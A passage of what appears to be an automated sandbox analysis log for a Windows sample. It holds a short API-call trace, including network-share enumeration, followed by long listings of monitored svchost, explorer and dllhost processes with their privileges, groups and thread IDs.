hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3019030 | out: hHeap=0x5e0000) returned 1 [0130.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb230 [0130.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2d8 [0130.891] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x30883b0, lphEnum=0x398fe28 | out: lphEnum=0x398fe28*=0x398fe44) returned 0x4c6 [0130.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0130.893] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0130.893] WNetEnumResourceW (in: hEnum=0x3008f20, lpcCount=0x398fedc, lpBuffer=0x3088370, lpBufferSize=0x398fed8 | out: lpcCount=0x398fedc, lpBuffer=0x3088370, lpBufferSize=0x398fed8) returned 0x103 [0130.893] WNetCloseEnum (hEnum=0x3008f20) returned 0x0 [0130.893] SendMessageW (hWnd=0x30154, Msg=0x8004, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 285 os_tid = 0x640 Thread: id = 300 os_tid = 0x7ec Process: id = "11" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8624000" os_pid = "0xf0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "10" os_parent_pid = "0x56c" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000db6b" [0xc000000f], "LOCAL" [0x7] Thread: id = 146 os_tid = 0x7e8 Thread: id = 147 os_tid = 0x7a4 Thread: id = 148 os_tid = 0x79c Thread: id = 149 os_tid = 0x64c Thread: id = 150 os_tid = 0x644 Thread: id = 151 os_tid = 0x178 Thread: id = 152 os_tid = 0x140 Thread: id = 153 os_tid = 0x154 Thread: id = 154 os_tid = 0x130 Thread: id = 155 os_tid = 0x12c Thread: id = 156 os_tid = 0x11c Thread: id = 193 os_tid = 0x7f8 Thread: id = 194 os_tid = 0x7fc Thread: id = 195 os_tid = 0x46c Thread: id = 197 os_tid = 0x510 Thread: id = 198 os_tid = 0x42c Thread: id = 299 os_tid = 0x3d8 Thread: id = 301 os_tid = 0x510 Process: id = "12" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x6df2000" os_pid = "0x37c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0xf0" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e0bd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 157 os_tid = 0x6d4 Thread: id = 158 os_tid = 0x6a4 Thread: id = 159 os_tid = 0x694 Thread: id = 160 os_tid = 0x68c Thread: id = 161 os_tid = 0x688 Thread: id = 162 os_tid = 0x678 Thread: id = 163 os_tid = 0x674 Thread: id = 164 os_tid = 0x66c Thread: id = 165 os_tid = 0x65c Thread: id = 166 os_tid = 0x650 Thread: id = 167 os_tid = 0x648 Thread: id = 168 os_tid = 0x604 Thread: id = 169 os_tid = 0x5f4 Thread: id = 170 os_tid = 0x5e4 Thread: id = 171 os_tid = 0x5d4 Thread: id = 172 os_tid = 0x5c8 Thread: id = 173 os_tid = 0x590 Thread: id = 174 os_tid = 0x584 Thread: id = 175 os_tid = 0x560 Thread: id = 176 os_tid = 0x55c Thread: id = 177 os_tid = 0x558 Thread: id = 178 os_tid = 0x554 Thread: id = 179 os_tid = 0x548 Thread: id = 180 os_tid = 0x4a0 Thread: id = 181 os_tid = 0x49c Thread: id = 182 os_tid = 0x498 Thread: id = 183 os_tid = 0x484 Thread: id = 184 os_tid = 0x404 Thread: id = 185 os_tid = 0x15c Thread: id = 186 os_tid = 0x294 Thread: id = 187 os_tid = 0x174 Thread: id = 188 os_tid = 0x158 Thread: id = 189 os_tid = 0x18c Thread: id = 190 os_tid = 0x3d8 Thread: id = 191 os_tid = 0x3a8 Thread: id = 192 os_tid = 0x3a4 Thread: id = 196 os_tid = 0x464 Thread: id = 205 os_tid = 0x5a8 Thread: id = 302 os_tid = 0x7c8 Thread: id = 305 os_tid = 0x21c Thread: id = 339 os_tid = 0x3b8 Thread: id = 340 os_tid = 0x6dc Process: id = "13" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x700ef000" os_pid = "0x49c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x37c" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e0bd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 199 os_tid = 0x568 Thread: id = 200 os_tid = 0x588 Thread: id = 201 os_tid = 0x57c Thread: id = 202 os_tid = 0x550 Thread: id = 203 os_tid = 0x500 Thread: id = 204 os_tid = 0x4a0 Process: id = "14" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x6c7000" os_pid = "0x4ec" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0xf0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00011b5a" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 206 os_tid = 0x324 Thread: id = 207 os_tid = 0x7e4 Thread: id = 208 os_tid = 0x7e0 Thread: id = 209 os_tid = 0x7dc Thread: id = 210 os_tid = 0x7a8 Thread: id = 211 os_tid = 0x6a8 Thread: id = 212 os_tid = 0x6a0 Thread: id = 213 os_tid = 0x680 Thread: id = 214 os_tid = 0x654 Thread: id = 215 os_tid = 0x634 Thread: id = 216 os_tid = 0x630 Thread: id = 217 os_tid = 0x62c Thread: id = 218 os_tid = 0x614 Thread: id = 219 os_tid = 0x534 Thread: id = 220 os_tid = 0x520 Thread: id = 221 os_tid = 0x51c Thread: id = 222 os_tid = 0x514 Thread: id = 223 os_tid = 0x508 Thread: id = 224 os_tid = 0x504 Thread: id = 225 os_tid = 0x4fc Thread: id = 226 os_tid = 0x4f8 Thread: id = 227 os_tid = 0x4f4 Thread: id = 228 os_tid = 0x4f0 Thread: id = 303 os_tid = 0x404 Thread: id = 304 os_tid = 0x540 Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9f14000" os_pid = "0x374" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "10" os_parent_pid = "0x56c" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cde2" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 231 os_tid = 0x524 Thread: id = 232 os_tid = 0x54c Thread: id = 233 os_tid = 0x35c Thread: id = 234 os_tid = 0x364 Thread: id = 235 os_tid = 0x360 Thread: id = 236 os_tid = 0x410 Thread: id = 237 os_tid = 0x7d0 Thread: id = 238 os_tid = 0x7cc Thread: id = 239 os_tid = 0x78c Thread: id = 240 os_tid = 0x788 Thread: id = 241 os_tid = 0x784 Thread: id = 242 os_tid = 0x780 Thread: id = 243 os_tid = 0x768 Thread: id = 244 os_tid = 0x760 Thread: id = 245 os_tid = 0x758 Thread: id = 246 os_tid = 0x754 Thread: id = 247 os_tid = 0x74c Thread: id = 248 os_tid = 0x744 Thread: id = 249 os_tid = 0x740 Thread: id = 250 os_tid = 0x738 Thread: id = 251 os_tid = 0x734 Thread: id = 252 os_tid = 0x730 Thread: id = 253 os_tid = 0x72c Thread: id = 254 os_tid = 0x724 Thread: id = 255 os_tid = 0x714 Thread: id = 256 os_tid = 0x438 Thread: id = 257 os_tid = 0x43c Thread: id = 258 os_tid = 0x4c8 Thread: id = 259 os_tid = 0x4a8 Thread: id = 260 os_tid = 0x4a4 Thread: id = 261 os_tid = 0x494 Thread: id = 262 os_tid = 0x490 Thread: id = 263 os_tid = 0x488 Thread: id = 264 os_tid = 0x1c0 Thread: id = 265 os_tid = 0x124 Thread: id = 266 os_tid = 0xc8 Thread: id = 267 os_tid = 0x3f8 Thread: id = 268 os_tid = 0x3ec Thread: id = 269 os_tid = 0x3a0 Thread: id = 270 os_tid = 0x39c Thread: id = 271 os_tid = 0x398 Thread: id = 272 os_tid = 0x394 Thread: id = 273 os_tid = 0x380 Thread: id = 274 os_tid = 0x378 Thread: id = 286 os_tid = 0x63c Thread: id = 287 os_tid = 0x274 Thread: id = 288 os_tid = 0x618 Thread: id = 289 os_tid = 0x628 Thread: id = 290 os_tid = 0x638 Thread: id = 291 os_tid = 0x610 Thread: id = 292 os_tid = 0x60c Thread: id = 293 os_tid = 0x794 Thread: id = 294 os_tid = 0x6c0 Thread: id = 295 os_tid = 0x6bc Thread: id = 296 os_tid = 0x7a0 Thread: id = 297 os_tid = 0x648 Thread: id = 298 os_tid = 0x7ac Thread: id = 306 os_tid = 0x4a0 Thread: id = 307 os_tid = 0x2ac Thread: id = 308 os_tid = 0x2c8 Thread: id = 309 os_tid = 0x210 Thread: id = 310 os_tid = 0x114 Thread: id = 311 os_tid = 0x214 Thread: id = 312 os_tid = 0x310 Thread: id = 313 os_tid = 0x1e8 Thread: id = 314 os_tid = 0xc4 Thread: id = 337 os_tid = 0x250 Thread: id = 338 os_tid = 0x320 Process: id = "16" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x6ae04000" os_pid = "0x48c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x37c" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e0bd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 278 os_tid = 0x660 Thread: id = 279 os_tid = 0x600 Thread: id = 280 os_tid = 0x5e8 Thread: id = 281 os_tid = 0x470 Thread: id = 282 os_tid = 0x5b8 Thread: id = 283 os_tid = 0x5bc Thread: id = 284 os_tid = 0x5ec Process: id = "17" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xd205000" os_pid = "0x2cc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "12" os_parent_pid = "0x37c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b577" [0xc000000f], "LOCAL" [0x7] Thread: id = 315 os_tid = 0x118 Thread: id = 316 os_tid = 0x368 Thread: id = 317 os_tid = 0x90 Thread: id = 318 os_tid = 0x544 Thread: id = 319 os_tid = 0x6b0 Thread: id = 320 os_tid = 0x670 Thread: id = 321 os_tid = 0x664 Thread: id = 322 os_tid = 0x658 Thread: id = 323 os_tid = 0x59c Thread: id = 324 os_tid = 0x598 Thread: id = 325 os_tid = 0x580 Thread: id = 326 os_tid = 0x458 Thread: id = 327 os_tid = 0x448 Thread: id = 328 os_tid = 0x434 Thread: id = 329 os_tid = 0x41c Thread: id = 330 os_tid = 0x3c4 Thread: id = 331 os_tid = 0x3bc Thread: id = 332 os_tid = 0x3ac Thread: id = 333 os_tid = 0x300 Thread: id = 334 os_tid = 0x2fc Thread: id = 335 os_tid = 0x2d8 Thread: id = 336 os_tid = 0x2d0